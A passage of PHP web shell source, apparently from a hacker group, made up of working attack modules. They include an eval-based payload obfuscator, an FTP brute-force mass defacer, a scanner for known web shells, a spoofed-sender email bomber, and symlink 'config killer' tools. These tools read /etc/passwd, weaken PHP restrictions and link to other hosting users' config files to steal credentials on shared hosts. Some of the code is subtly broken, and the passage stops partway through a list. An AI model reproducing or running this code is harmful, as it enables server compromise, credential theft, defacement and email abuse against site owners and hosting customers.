2219<td><nobr>Thanks to Indishell, Anonghost, Lagripe-Dz, Indrajith</nobr></td>
2220</tr>
2221<tr>
2222<td>Security Bypass Exploit</td>
2223<td>Thanks to Mauritania, Lagripe-Dz </td>
2224</tr>
2225<tr>
2226<td>Greetz To</td>
2227<td><nobr>Exploit-DB, 1337 0day, All Moeslim Hackers And Coders In The World</nobr></td>
2228</tr>
2229
2230</table>
2231</td></tr>
2232</table><br><br>
2233</html>";
2234?>
2235
2236
2237<?php }
2238// x=coding
2239elseif(isset($_GET['x']) && ($_GET['x'] == 'coding')){
2240// encode & decode
2241?>
2242<form action="?dm=<?php echo $pwd; ?>&x=coding" method="post">
2243
2244<?php {
2245echo "<br><br><center><div id=result> <nobr><b><span class='b7'>O=:[ ENCODE</span> <span class='b8'>DECODE ]:=O</span></b></nobr><br/><br/>
2246<form method='post'><table class=tbl>
2247<tr><td>Method : <select name='typed' style='color:red; background-color:black; border:1px solid #666;'>
2248<option>Encode</option><option>Decode</decode></select> </td></tr>
2249<tr><td>TYPE : <select name='typenc' style='color:red; background-color:black; border:1px solid #666;'>
2250<option>GZINFLATE</option><option>GZUNCOMPRESS</option><option>STR_ROT13</option></tr>
2251</td>
2252<tr><td>
2253<textarea spellcheck='false' style='color:#FF0000;background-color:#000000' cols='80' rows='25' name='php_content'></textarea></tr>
2254</td></table><hr/><input style='color:#FF0000;background-color:#000000' type='submit' value=' >> ' /><br /><hr /><br /></form></div>";
2255
2256$meth_d=$_POST['typed'];
2257$typ_d=$_POST['typenc'];
2258$c_ntent=$_POST['php_content'];
2259$c_ntent=$c_ntent;
2260switch($meth_d)
2261{
2262case "Encode":
2263switch($typ_d)
2264{
2265case "GZINFLATE":
2266$res_t=base64_encode(gzdeflate(trim(stripslashes($c_ntent.' '),'<?php, ?>'),9));
2267$res_t="<?php eval(gzinflate(base64_decode(\"$res_t\"))); ?>";
2268break;
2269case "GZUNCOMPRESS":
2270$res_t=base64_encode(gzcompress(trim(stripslashes($c_ntent.' '),'<?php, ?>'),9));
2271$res_t="<?php eval(gzuncompress(base64_decode(\"$res_t\"))); ?>";
2272break;
2273case "STR_ROT13":
2274$res_t=trim(stripslashes($c_ntent.' '),'<?php, ?>');
2275$res_t=base64_encode(str_rot13($res_t));
2276$res_t="<?php eval(str_rot13(base64_decode(\"$res_t\"))); ?>";
2277break;
2278}
2279break;
2280case "Decode":
2281switch($typ_d)
2282{
2283case "GZINFLATE":
2284$res_t=gzinflate(base64_decode($c_ntent));
2285break;
2286case "GZUNCOMPRESS":
2287$res_t=gzuncompress(base64_decode($c_ntent));
2288break;
2289case "STR_ROT13":
2290$res_t=str_rot13(base64_decode($c_ntent));
2291break;
2292}
2293break;
2294}
2295echo "<center><div id=result><textarea spellcheck='false' style='color:#FF0000;background-color:#000000' cols='80' rows='25'>".htmlspecialchars($res_t)."</textarea></center></div>";
2296}
2297?>
2298
2299<?php }
2300# x=sscan
2301elseif(isset($_GET['x']) && ($_GET['x'] == 'cp2')){
2302?>
2303<form action="?dm=<?php echo $pwd; ?>&x=cp2" method="post">
2304
2305<br/><br/><center><nobr><b><span class='b7'>O=:[ FTP MASS</span> <span class='b8'>DEFACE ]:=O</span></b></nobr><br/><br/>
2306
2307<form method="post">
2308<center>
2309 IP Server:<input type="text" name="ip" value="127.0.0.1" />
2310 <p> </p>
2311 User's List:<br>
2312 <textarea rows="10" style="width:35%;" name="users" value="The Users List"></textarea>
2313 <p> </p>
2314 Password's List:<br>
2315 <textarea rows="10" style="width:35%;" name="passwords" value="The Password List"></textarea>
2316 <p> </p>
2317 Index File Name:<input type="text" name="index_name" value="index.php" /><br>
2318 <p> </p>
2319 Index File Link:<input type="text" name="index_link" value="index.txt" /><br>
2320 <p> </p>
2321 <input type="submit" name="forest" value="Mass Deface it" /><br><br>
2322 </form></center>
2323
2324<?php
2325set_time_limit(0);
2326if(isset($_POST['forest'])){
2327$ip=trim($_POST['ip']);
2328$users = explode("\n",$_POST["users"]);
2329$passwords = explode("\n",$_POST["passwords"]);
2330$index_name=trim($_POST['index_name']);$index_link=trim($_POST['index_link']);
2331
2332foreach($users as $user){
2333foreach($passwords as $pass){
2334$connect_ip = ftp_connect($ip) or die("Couldn't Connect To $ip");
2335if(@ftp_login($connect_ip, trim($user), trim($pass))){
2336
2337echo "<br>Connected To --> $ip@$user\n";@ftp_delete($connect_ip,$index_name);
2338
2339$deface = ftp_put($connect_ip, "/public_html/".$index_name , $index_link, FTP_ASCII);
2340if($deface){
2341echo "<br><font color=green> $user --> Deface Success!!</font>";
2342break;
2343}else{
2344echo "<br><font color=red> $user --> Error Defacing!!</font>";
2345 }
2346 }else{
2347echo "<br><font color=red>Couldn't Connect To --> $ip@$user --> $pass</font>\n";
2348}
2349}
2350}
2351echo "<br><font size=5> ! Mass Defacing Was Done ! </font>";
2352}
2353?>
2354
2355<?php }
2356# x=sscan
2357elseif(isset($_GET['x']) && ($_GET['x'] == 'sscan')){
2358 ?>
2359<form action="?dm=<?php echo $pwd; ?>&x=sscan" method="post">
2360
2361<br><br><center><div id=result> <nobr><b><span class='b7'>O=:[ SHELL</span> <span class='b8'>SCANNER ]:=O</span></b></nobr><br/><br/>
2362
2363<table><form method='POST'>
2364<tr><td>URL TARGET : <input size=40 style='color:#FF0000;background-color:#000000' name='rem_web' value='http://'></td></tr>
2365<tr><td><font color=red>INPUT NAMA FILE / SHELL</font></tr></td>
2366<tr><td><textarea spellcheck='false' class='textarea_edit' style='color:#FF0000;background-color:#000000' cols=50 rows=30 name='tryzzz'>
2367
2368WSO.php
2369dz.php
2370cpanelcracker.php
2371blackshadow.php
2372sym.php
2373ftpcracker.php
2374cpanel.php
2375cpn.php
2376sql.php
2377mysql.php
2378madspot.php
2379itsecteam_shell.php
2380b374k.php
2381madsopot.php
2382indishell.php
2383Cgishell.pl
2384killer.php
2385changeall.php
23862.php
2387Sh3ll.php
2388dz0.php
2389dam.php
2390user.php
2391dom.php
2392whmcs.php
2393r00t.php
2394c99.php
2395gaza.php
2396q.php
23971.php
2398d0mains.php
2399madspotshell.php
2400Sym.php
2401c22.php
2402c100.php
2403Cpanel.php
2404zone-h.php
2405cp.php
2406L3b.php
2407d.php
2408admin1.php
2409upload.php
2410up.php
2411uploads.php
2412sa.php
2413r57.php
2414shell.php
2415sa.php
2416</textarea></td></tr>
2417<tr><td><br /><input type='submit' style='color:#FF0000;background-color:#000000' value=' >> SCAN >> ' class='input_big' /><br /><br /></td></tr></form></table><br /><br /><hr /><br /><br />
2418
2419<?php
2420set_time_limit(0);
2421$rtr=array();
2422echo "<div id=result><center><table>";
2423$webz=$_POST['rem_web'];
2424$uri_in=$_POST['tryzzz'];
2425$r_xuri = trim($uri_in);
2426$r_xuri=explode("\n", $r_xuri);
2427foreach($r_xuri as $rty)
2428{
2429$urlzzx=$webz.$rty;
2430if(function_exists('curl_init'))
2431{
2432echo "<tr><td style='text-align:left'><font color=orange>Checking : </font> <font color=7171C6> $urlzzx </font></td>";
2433$ch = curl_init($urlzzx);
2434curl_setopt($ch, CURLOPT_NOBODY, true);
2435curl_exec($ch);
2436$status_code=curl_getinfo($ch, CURLINFO_HTTP_CODE);
2437curl_close($ch);
2438if($status_code==200)
2439{
2440echo "<td style='text-align:left'><font color=green> Found....</font></td></tr>";
2441} else {
2442echo "<td style='text-align:left'><font color=red>Not Found...</font></td></tr>";
2443 }
2444 } else {
2445echo "<font color=red>cURL Not Found </font>";
2446} }
2447echo "</table><br /><br /><hr /><br /><br /></div>";
2448?>
2449
2450<?php }
2451# x=bomail
2452elseif(isset($_GET['x']) && ($_GET['x'] == 'bomail')){
2453?>
2454<form action="?y=<?php echo $pwd; ?>&x=email" method="post">
2455<html>
2456<head><title>./DM TE4M</title>
2457</head>
2458<center><body bgcolor="black">
2459<a href="http://www.facebook.com/groups/D.MASTERPIECE"><img src="http://img59.imageshack.us/img59/9402/headerpicsay.jpg" border="0" width="200" height="50"></a><br><br>
2460<span style="color:white"> --=|[+] BOMB FAKE EMAIL [+]|=--<br/></center>
2461 <span style="color:#00FF00"><hr></span>
2462<form method=post>
2463<input type=hidden value=dm name=dm>
2464<center><span style="color:#00FF00">-:[ X-EMAIL ]:-</span><br/>
2465 <span style="color:white">**Isi Dengan Nama Email Palsu**<br/>
2466<input style="color:lime;background-color:#000000" name=wew value="<?echo $wew; ?>"></center>
2467<br/>
2468<center><span style="color:#00FF00">-:[ EMAIL TUJUAN ]:-</span><br/>
2469 <span style="color:white">**Isi Email Target Bomb Email**</span><br/>
2470<input style="color:lime;background-color:#000000" name=wow value="<?echo $wow; ?>"></center>
2471<br/>
2472<center><span style="color:#00FF00">-:[ SUBJECT ]:-</span> <br/>
2473 <span style="color:white">**Isi Nama Judul Pesan**</span><br/>
2474<input style="color:lime;background-color:#000000" name=anu value="<?echo $anu; ?>"></center>
2475<br/>
2476<center><span style="color:#00FF00">-:[ JUMLAH KIRIM ]:-</span><br/>
2477 <span style="color:white">**Isi Nominal Antara 0 s/d 100**</span><br/>
2478<input style="color:lime;background-color:#000000" name=sodok value="<?echo $sodok; ?>"></center>
2479<br/>
2480<center><span style="color:#00FF00">-:PESAN ]:-</span><br/>
2481 <span style="color:white">**Tulis Pesan Kamu**</span><br/>
2482<textarea style="color:lime;background-color:#000000" cols="30" rows="50" name=deathnote><?echo $deathnote?></textarea><br/>
2483<p>
2484<input style="color:lime;background-color:#000000" type=submit value=./CROTZ></center></form>
2485<span style="color:#00FF00"><hr></span>
2486 <span style="color:yellow">
2487<?php
2488//DMASTERPIECE TE4M Introduction
2489$dm = $_POST['dm'];
2490//Fungsi Pengirim Email
2491$wew = $_POST['wew'];
2492//Fungsi Penerima Email
2493$wow = $_POST['wow'];
2494//Fungsi Jumlah Pesan Yg Akan Di Kirim
2495$sodok = $_POST['sodok'];
2496//Fungsi Subject Atau Judul
2497$anu = $_POST['anu'];
2498//Fungsi Isi Pesan
2499$deathnote = $_POST['deathnote'];
2500
2501if ($dm=="dm" ) {
2502for ($i=0;$i <$sodok;$i++) {
2503$a= $wew;
2504$janda = $anu.$i;
2505mail( $wow,$janda,$deathnote.str_repeat(" ", 0*$xdm),"From: $a <$a>\r\n" );
2506} echo (" <center>* SUKSES :D | HAJAR LAGI BOS :P *</center>");
2507}
2508//WE ARE DMASTERPIECE
2509//WE ARE LEGION
2510//WE ARE FAMILY
2511//WE DO NOT FORGIVE
2512//WE DO NOT FORGET
2513//EXPECT US
2514exit;
2515?>
2516
2517
2518<?php }
2519# x=plesk
2520elseif(isset($_GET['x']) && ($_GET['x'] == 'plesk')){ ?>
2521<form action="?dm=<?php echo $pwd; ?>&x=plesk" method="post">
2522<?php
2523@mkdir('plesk', 0777);
2524$hta="Options all \n
2525DirectoryIndex Sux.html \n
2526AddType text/plain .php\n
2527AddHandler server-parsed .php";
2528$htaccess=@fopen('plesk/.htaccess', 'w');
2529fwrite($htaccess, $hta);
2530@symlink("/", "plesk/dm.txt");
2531?>
2532
2533<?php }
2534// x=apache
2535elseif(isset($_GET['x']) && ($_GET['x'] == 'apache')){
2536// symlink apache + config killer
2537?>
2538<form action="?dm=<?php echo $pwd; ?>&x=apache" method="post">
2539<?php
2540$head = '
2541<html>
2542<head>
2543</script>
2544<title>APACHE</title>
2545<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2546<script language=\'javascript\'>
2547function hide_div(id)
2548{
2549 document.getElementById(id).style.display = \'none\';
2550 document.cookie=id+\'=0;\';
2551}
2552function show_div(id)
2553{
2554 document.getElementById(id).style.display = \'block\';
2555 document.cookie=id+\'=1;\';
2556}
2557function change_divst(id)
2558{
2559if (document.getElementById(id).style.display == \'none\')
2560show_div(id);
2561else
2562hide_div(id);
2563}
2564</script>'; ?>
2565<html>
2566<head>
2567<?php echo $head; ?>
2568<body bgcolor=black><center><br/><br/> <img src="http://silk.apana.org.au/graphics/apache_logo.gif">
2569<form method=post><br/><br/>
2570<nobr><b><span class='b7'>O=:[ APACHE</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
2571<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
2572
2573<?php
2574if(isset($_POST['usre'])){
2575?>
2576<form method=post>
2577<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php $users=file("/etc/passwd");
2578foreach($users as $user)
2579{
2580$str=explode(":",$user);
2581echo $str[0]."\n";
2582}
2583
2584?></textarea><br><br>
2585<input type=submit style=color:#FF0000;background-color:#000000 name=su value="EXECUTE" /></form><br/>
2586<?php } ?>
2587
2588<?php
2589error_reporting(0);
2590if(isset($_POST['su'])){
2591mkdir('dm',0777);
2592$rr = "Options all \r
2593DirectoryIndex Sux.html \r
2594AddType text/plain .php \r
2595AddType text/plain .html \r
2596AddType text/plain .bak \r
2597AddType text/plain .old \r
2598AddHandler server-parsed .php \r
2599AddHandler txt .html \r
2600Require None \r Satisfy Any";
2601$g = fopen('dm/.htaccess','w');
2602fwrite($g,$rr);
2603$dm = symlink("/","dm/dm.txt");
2604$rt="<a href=dm/dm.txt><b><span class='b11'>[ SYMLINK ]</span></b></a>";
2605echo "<nobr>[~] ";
2606echo "$rt";
2607
2608$dir=mkdir('DM',0777);
2609$r = "Options all \r
2610DirectoryIndex Sux.html \r
2611AddType text/plain .php \r
2612AddType text/plain .html \r
2613AddType text/plain .bak \r
2614AddType text/plain .old \r
2615AddHandler server-parsed .php \r
2616AddHandler txt .html \r
2617Require None \r
2618Satisfy Any";
2619$f = fopen('DM/.htaccess','w');
2620fwrite($f,$r);
2621$consym="<a href=DM/><b><span class='b11'>[ CONFIG KILLER ]</span></b> </a>";
2622echo " [~] ";
2623echo "$consym";
2624echo " [~]</nobr>";
2625
2626$usr=explode("\n",$_POST['user']);
2627$configuration=array(
2628"aksi.php",
2629"aksi.php.old",
2630"aksi.php.bak",
2631"conf.php",
2632"conf.php.old",
2633"conf.php.bak",
2634"conf_global.php",
2635"conf_global.php.old",
2636"conf_global.php.bak",
2637"config.php",
2638"config.php.old",
2639"config.php.bak",
2640"configuration.php",
2641"configuration.php.old",
2642"configuration.php.bak",
2643"conn.php",
2644"conn.php.old",
2645"conn.php.bak",
2646"connect.php",
2647"connect.php.old",
2648"connect.php.bak",
2649"connection.php",
2650"connection.php.old",
2651"connection.php.bak",
2652"db.php",
2653"db.php.old",
2654"db.php.bak",
2655"database.php",
2656"database.php.old",
2657"database.php.bak",
2658"inc.php",
2659"inc.php.old",
2660"inc.php.bak",
2661"koneksi.php",
2662"koneksi.php.old",
2663"koneksi.php.bak",
2664"mysql.php",
2665"myqsl.php.old",
2666"mysql.php.bak",
2667"setting.php",
2668"setting.php.old",
2669"setting.php.bak",
2670"Settings.php",
2671"Settings.php.old",
2672"Settings.php.bak",
2673"sql.php",
2674"sql.php.old",
2675"sql.php.bak");
2676foreach($usr as $uss ){
2677$us=trim($uss);
2678foreach($configuration as $c){
2679$rs="/home/".$us."/public_html/".$c;
2680$r="DM/".$us."~".$c;
2681symlink($rs,$r);
2682}
2683}
2684}
2685?>
2686
2687<?php }
2688// x=hostgator
2689elseif(isset($_GET['x']) && ($_GET['x'] == 'hostgator')){
2690// symlink hostgator + config killer
2691?>
2692<form action="?dm=<?php echo $pwd; ?>&x=hostgator" method="post">
2693<?php
2694$head = '
2695<html>
2696<head><title>HOSTGATOR</title>
2697<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2698<script language=\'javascript\'>
2699function hide_div(id){
2700 document.getElementById(id).style.display = \'none\';
2701 document.cookie=id+\'=0;\';
2702}
2703
2704function show_div(id){
2705document.getElementById(id).style.display = \'block\';
2706document.cookie=id+\'=1;\';
2707}
2708
2709function change_divst(id){
2710if (document.getElementById(id).style.display == \'none\')
2711show_div(id);
2712else
2713hide_div(id);
2714}
2715</script>'; ?>
2716<html>
2717<head>
2718<?php echo $head; ?>
2719<body bgcolor=black><center><br/><br/><img src="http://partnernoc.cpanel.net/logo/822-4021-logo.png">
2720<form method=post><br/><br/>
2721<nobr><b><span class='b7'>O=:[ HOSTGATOR</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
2722<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
2723
2724<?php
2725if(isset($_POST['usre'])){
2726?>
2727<form method=post>
2728<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php $users=file("/etc/passwd");
2729foreach($users as $user){
2730$str=explode(":",$user);
2731echo $str[0]."\n";
2732}
2733?></textarea><br><br>
2734<input type=submit style=color:#FF0000;background-color:#000000 name=su value="./EXECUTE" /></form><br/>
2735<?php } ?>
2736
2737<?php
2738error_reporting(0);
2739if(isset($_POST['su'])){
2740mkdir('hostgator',0777);
2741$r = "Options +FollowSymLinks \n
2742DirectoryIndex Sux.html \n
2743Options +Indexes \n
2744AddType text/plain .php \n
2745AddHandler server-parsed .php \n
2746AddType text/plain.html ";
2747$g = fopen('hostgator/.htaccess','w');
2748fwrite($g,$rr);
2749$dm = symlink("/","hostgator/dm.ini");
2750$rt="<a href=hostgator/dm.ini><b><span class='b11'>[ SYMLINK ]</span></b></a>";
2751echo "<nobr>[~] ";
2752echo "$rt";
2753
2754$dir=mkdir('HOSTGATOR',0777);
2755$rr = "Safe_mode = OFF \n
2756Disable_functions = NONE \n
2757Open_basedir = OFF";
2758$f = fopen('HOSTGATOR/php.ini','w');
2759fwrite($f,$rr);
2760
2761$rrr = "Options +FollowSymLinks \n
2762DirectoryIndex Sux.html \n
2763Options +Indexes \n
2764AddType text/plain .php \n
2765AddHandler server-parsed .php \n
2766AddType text/plain.html ";
2767$ff = fopen('HOSTGATOR/.htaccess','w');
2768fwrite($ff,$rrr);
2769
2770$consym="<a href=HOSTGATOR/>
2771<span class='b11'>[ CONFIG KILLER ]</span></b></a>";
2772echo " [~] ";
2773echo "$consym";
2774echo " [~]</nobr>";
2775
2776$usr=explode("\n",$_POST['user']);
2777$configuration=array("wp-config.ini",
2778"wordpress/wp-config.ini",
2779"configuration.ini",
2780"blog/wp-config.ini",
2781"joomla/configuration.ini",
2782"vb/includes/config.ini",
2783"includes/config.ini",
2784"conf_global.ini",
2785"inc/config.ini",
2786"config.ini",
2787"Settings.ini",
2788"sites/default/settings.ini",
2789"whm/configuration.ini",
2790"whmcs/configuration.ini",
2791"support/configuration.ini",
2792"whmc/WHM/configuration.ini",
2793"whm/WHMCS/configuration.ini",
2794"whm/whmcs/configuration.ini",
2795"support/configuration.ini",
2796"clients/configuration.ini",
2797"client/configuration.ini",
2798"clientes/configuration.ini",
2799"cliente/configuration.ini",
2800"clientsupport/configuration.ini",
2801"billing/configuration.ini",
2802"admin/config.ini");
2803foreach($usr as $uss ){
2804$us=trim($uss);
2805foreach($configuration as $c){
2806$rs="/home/".$us."/public_html/".$c;
2807$r="HOSTGATOR/".$us."~".$c;
2808symlink($rs,$r);
2809}
2810}
2811}
2812?>
2813
2814<?php }
2815// x=bluehost
2816elseif(isset($_GET['x']) && ($_GET['x'] == 'bluehost')){
2817// symlink bluehost + config killer
2818?>
2819<form action="?dm=<?php echo $pwd; ?>&x=bluehost" method="post">
2820<?php
2821$head = '
2822<html>
2823<head><title>BLUEHOST</title>
2824<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2825<script language=\'javascript\'>
2826function hide_div(id){
2827 document.getElementById(id).style.display = \'none\';
2828 document.cookie=id+\'=0;\';
2829}
2830
2831function show_div(id){
2832document.getElementById(id).style.display = \'block\';
2833document.cookie=id+\'=1;\';
2834}
2835
2836function change_divst(id){
2837if (document.getElementById(id).style.display == \'none\')
2838show_div(id);
2839else
2840hide_div(id);
2841}
2842</script>'; ?>
2843<html>
2844<head>
2845<?php echo $head; ?>
2846<body bgcolor=black>
2847<center><br/><br/>
2848<img src="http://www.ananova.com/wp-content/uploads/2013/04/bluehost-review-by-toptenhostings.jpg">
2849<form method=post><br/><br/><nobr><b><span class='b7'>O=:[ BLUEHOST</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
2850<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
2851
2852<?php
2853if(isset($_POST['usre'])){
2854?>
2855<form method=post>
2856<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php $users=file("/etc/passwd");
2857foreach($users as $user){
2858$str=explode(":",$user);
2859echo $str[0]."\n";
2860}
2861?></textarea><br><br>
2862<input type=submit style=color:#FF0000;background-color:#000000 name=su value="./EXECUTE" /></form><br/>
2863<?php } ?>
2864<?php
2865error_reporting(0);
2866echo "<font color=white size=2 face=\"comic sans ms\">";
2867if(isset($_POST['su'])){
2868mkdir('bluehost',0777);
2869$rr = "AllowOverride All None \n
2870DirectoryIndex index.html index.htm index.php index.php4 index.php5 \n
2871AddType application/octet-stream .php \n
2872AddHandler server-parsed .php \n
2873Addhandler cgi-script .asp \n
2874AddType ini .php \n
2875AddHandler ini .php";
2876$g = fopen('bluehost/.htaccess','w');
2877fwrite($g,$rr);
2878$dm = symlink("/","bluehost/dm.ini");
2879$rt="<a href=bluehost/dm.ini><b><span class='b11'>[ SYMLINK ]</span></b></a>";
2880echo "<nobr>[~] ";
2881echo "$rt";
2882
2883$dir=mkdir('BLUEHOST',0777);
2884$r = "Options all \n DirectoryIndex Sux.html \n
2885AddType text/plain .php \n
2886AddHandler server-parsed .php \n
2887AddType text/plain .html \n
2888AddHandler txt .html \n
2889Require None \n
2890Satisfy Any";
2891$f = fopen('BLUEHOST/.htaccess','w');
2892fwrite($f,$r);
2893$consym="<a href=BLUEHOST/><span class='b11'>[ CONFIG KILLER ]</span></b></a>";
2894echo " [~] ";
2895echo "$consym";
2896echo " [~]</nobr>";
2897
2898$usr=explode("\n",$_POST['user']);
2899$configuration=array("wp-config.ini",
2900"wordpress/wp-config.ini",
2901"configuration.ini",
2902"blog/wp-config.ini",
2903"joomla/configuration.ini",
2904"vb/includes/config.ini",
2905"includes/config.ini",
2906"conf_global.ini",
2907"inc/config.ini",
2908"config.ini",
2909"Settings.ini",
2910"sites/default/settings.ini",
2911"whm/configuration.ini",
2912"whmcs/configuration.ini",
2913"support/configuration.ini",
2914"whmc/WHM/configuration.ini",
2915"whm/WHMCS/configuration.ini",
2916"whm/whmcs/configuration.ini",
2917"support/configuration.ini",
2918"clients/configuration.ini",
2919"client/configuration.ini",
2920"clientes/configuration.ini",
2921"cliente/configuration.ini",
2922"clientsupport/configuration.ini",
2923"billing/configuration.ini",
2924"admin/config.ini");
2925
2926foreach($usr as $uss ){
2927$us=trim($uss);
2928foreach($configuration as $c){
2929$rs="/home/".$us."/public_html/".$c;
2930$rs="/home1/".$us."/public_html/".$c;
2931$rs="/home2/".$us."/public_html/".$c;
2932$rs="/home3/".$us."/public_html/".$c;
2933$rs="/home4/".$us."/public_html/".$c;
2934$rs="/home5/".$us."/public_html/".$c;
2935$rs="/home6/".$us."/public_html/".$c;
2936$rs="/home7/".$us."/public_html/".$c;
2937$rs="/home8/".$us."/public_html/".$c;
2938$r="BLUEHOST/".$us."~".$c;
2939symlink($rs,$r);
2940}
2941}
2942}
2943?>
2944 <?php }
2945// x=ovh
2946elseif(isset($_GET['x']) && ($_GET['x'] == 'ovh')){
2947// symlink ovh + config killer
2948?>
2949<form action="?dm=<?php echo $pwd; ?>&x=ovh" method="post">
2950<?php
2951$head = '
2952<html>
2953<head><title>OVH</title>
2954<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2955<script language=\'javascript\'>
2956function hide_div(id){
2957 document.getElementById(id).style.display = \'none\';
2958 document.cookie=id+\'=0;\';
2959}
2960
2961function show_div(id){
2962document.getElementById(id).style.display = \'block\';
2963document.cookie=id+\'=1;\';
2964}
2965
2966function change_divst(id){
2967if (document.getElementById(id).style.display == \'none\')
2968show_div(id);
2969else
2970hide_div(id);
2971}
2972</script>'; ?>
2973<html>
2974<head>
2975<?php echo $head; ?>
2976<body bgcolor=black><center><br/><br/><img src="http://alsace-international.eu/IMG/LOGOS/Entreprises/OVH_Logo.gif">
2977<form method=post><br/><br/>
2978<nobr><b><span class='b7'>O=:[ OVH</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
2979<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
2980
2981<?php
2982if(isset($_POST['usre'])){
2983?>
2984<form method=post>
2985<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php $users=file("/etc/passwd");
2986foreach($users as $user){
2987$str=explode(":",$user);
2988echo $str[0]."\n";
2989}
2990?></textarea><br><br>
2991<input type=submit style=color:#FF0000;background-color:#000000 name=su value="./EXECUTE" /></form><br/>
2992<?php } ?>
2993
2994<?php
2995error_reporting(0);
2996if(isset($_POST['su'])){
2997mkdir('ovh',0777);
2998$r = "AllowOverride All None \n
2999DirectoryIndex index.html index.htm index.php index.php4 index.php5 \n
3000AddType application/octet-stream .php \n
3001AddHandler server-parsed .php \n
3002Addhandler cgi-script .asp \n
3003AddType ini .php \n
3004AddHandler ini .php";
3005$g = fopen('ovh/.htaccess','w');
3006fwrite($g,$rr);
3007$dm = symlink("/","ovh/dm.ini");
3008$rt="<a href=ovh/dm.ini><b><span class='b11'>[ SYMLINK ]</span></b></a>";
3009echo "<nobr>[~] ";
3010echo "$rt";
3011
3012$dir=mkdir('OVH',0777);
3013$rr = "Safe_mode = OFF \n
3014Disable_functions = NONE \n
3015Open_basedir = OFF";
3016$f = fopen('OVH/php.ini','w');
3017fwrite($f,$rr);
3018
3019$rrr = "AllowOverride All None \n
3020DirectoryIndex index.html index.htm index.php index.php4 index.php5 \n
3021AddType application/octet-stream .php \n
3022AddHandler server-parsed .php \n
3023AddHandler cgi-script .asp \n
3024AddType ini .php \n
3025AddHandler ini .php";
3026$ff = fopen('OVH/.htaccess','w');
3027fwrite($ff,$rrr);
3028
3029$consym="<a href=OVH/>
3030<span class='b11'>[ CONFIG KILLER ]</span></b></a>";
3031echo " [~] ";
3032echo "$consym";
3033echo " [~]</nobr>";
3034
3035$usr=explode("\n",$_POST['user']);
3036$configuration=array("wp-config.ini",
3037"wordpress/wp-config.ini",
3038"configuration.ini",
3039"blog/wp-config.ini",
3040"joomla/configuration.ini",
3041"vb/includes/config.ini",
3042"includes/config.ini",
3043"conf_global.ini",
3044"inc/config.ini",
3045"config.ini",
3046"Settings.ini",
3047"sites/default/settings.ini",
3048"whm/configuration.ini",
3049"whmcs/configuration.ini",
3050"support/configuration.ini",
3051"whmc/WHM/configuration.ini",
3052"whm/WHMCS/configuration.ini",
3053"whm/whmcs/configuration.ini",
3054"support/configuration.ini",
3055"clients/configuration.ini",
3056"client/configuration.ini",
3057"clientes/configuration.ini",
3058"cliente/configuration.ini",
3059"clientsupport/configuration.ini",
3060"billing/configuration.ini",
3061"admin/config.ini");
3062foreach($usr as $uss ){
3063$us=trim($uss);
3064foreach($configuration as $c){
3065$rs="/homez.0/".$us."/www/".$c;
3066$rs="/homez.1/".$us."/www/".$c;
3067$rs="/homez.2/".$us."/www/".$c;
3068$rs="/homez.3/".$us."/www/".$c;
3069$rs="/homez.4/".$us."/www/".$c;
3070$rs="/homez.5/".$us."/www/".$c;
3071$rs="/homez.6/".$us."/www/".$c;
3072$rs="/homez.7/".$us."/www/".$c;
3073$rs="/homez.8/".$us."/www/".$c;
3074$rs="/homez.9/".$us."/www/".$c;
3075$rs="/homez.10/".$us."/www/".$c;
3076$rs="/homez.11/".$us."/www/".$c;
3077$rs="/homez.12/".$us."/www/".$c;
3078$rs="/homez.13/".$us."/www/".$c;
3079$rs="/homez.14/".$us."/www/".$c;
3080$rs="/homez.15/".$us."/www/".$c;
3081$rs="/homez.16/".$us."/www/".$c;
3082$rs="/homez.17/".$us."/www/".$c;
3083$rs="/homez.18/".$us."/www/".$c;
3084$rs="/homez.19/".$us."/www/".$c;
3085$rs="/homez.20/".$us."/www/".$c;
3086$rs="/homez.21/".$us."/www/".$c;
3087$rs="/homez.22/".$us."/www/".$c;
3088$rs="/homez.23/".$us."/www/".$c;
3089$rs="/homez.24/".$us."/www/".$c;
3090$rs="/homez.25/".$us."/www/".$c;
3091$rs="/homez.26/".$us."/www/".$c;
3092$rs="/homez.27/".$us."/www/".$c;
3093$rs="/homez.28/".$us."/www/".$c;
3094$rs="/homez.29/".$us."/www/".$c;
3095$rs="/homez.30/".$us."/www/".$c;
3096$rs="/homez.31/".$us."/www/".$c;
3097$rs="/homez.32/".$us."/www/".$c;
3098$rs="/homez.33/".$us."/www/".$c;
3099$rs="/homez.34/".$us."/www/".$c;
3100$rs="/homez.35/".$us."/www/".$c;
3101$rs="/homez.36/".$us."/www/".$c;
3102$rs="/homez.37/".$us."/www/".$c;
3103$rs="/homez.38/".$us."/www/".$c;
3104$rs="/homez.39/".$us."/www/".$c;
3105$rs="/homez.40/".$us."/www/".$c;
3106$rs="/homez.41/".$us."/www/".$c;
3107$rs="/homez.42/".$us."/www/".$c;
3108$rs="/homez.43/".$us."/www/".$c;
3109$rs="/homez.44/".$us."/www/".$c;
3110$rs="/homez.45/".$us."/www/".$c;
3111$rs="/homez.46/".$us."/www/".$c;
3112$rs="/homez.47/".$us."/www/".$c;
3113$rs="/homez.48/".$us."/www/".$c;
3114$rs="/homez.49/".$us."/www/".$c;
3115$rs="/homez.50/".$us."/www/".$c;
3116$rs="/homez.51/".$us."/www/".$c;
3117$rs="/homez.52/".$us."/www/".$c;
3118$rs="/homez.53/".$us."/www/".$c;
3119$rs="/homez.54/".$us."/www/".$c;
3120$rs="/homez.55/".$us."/www/".$c;
3121$rs="/homez.56/".$us."/www/".$c;
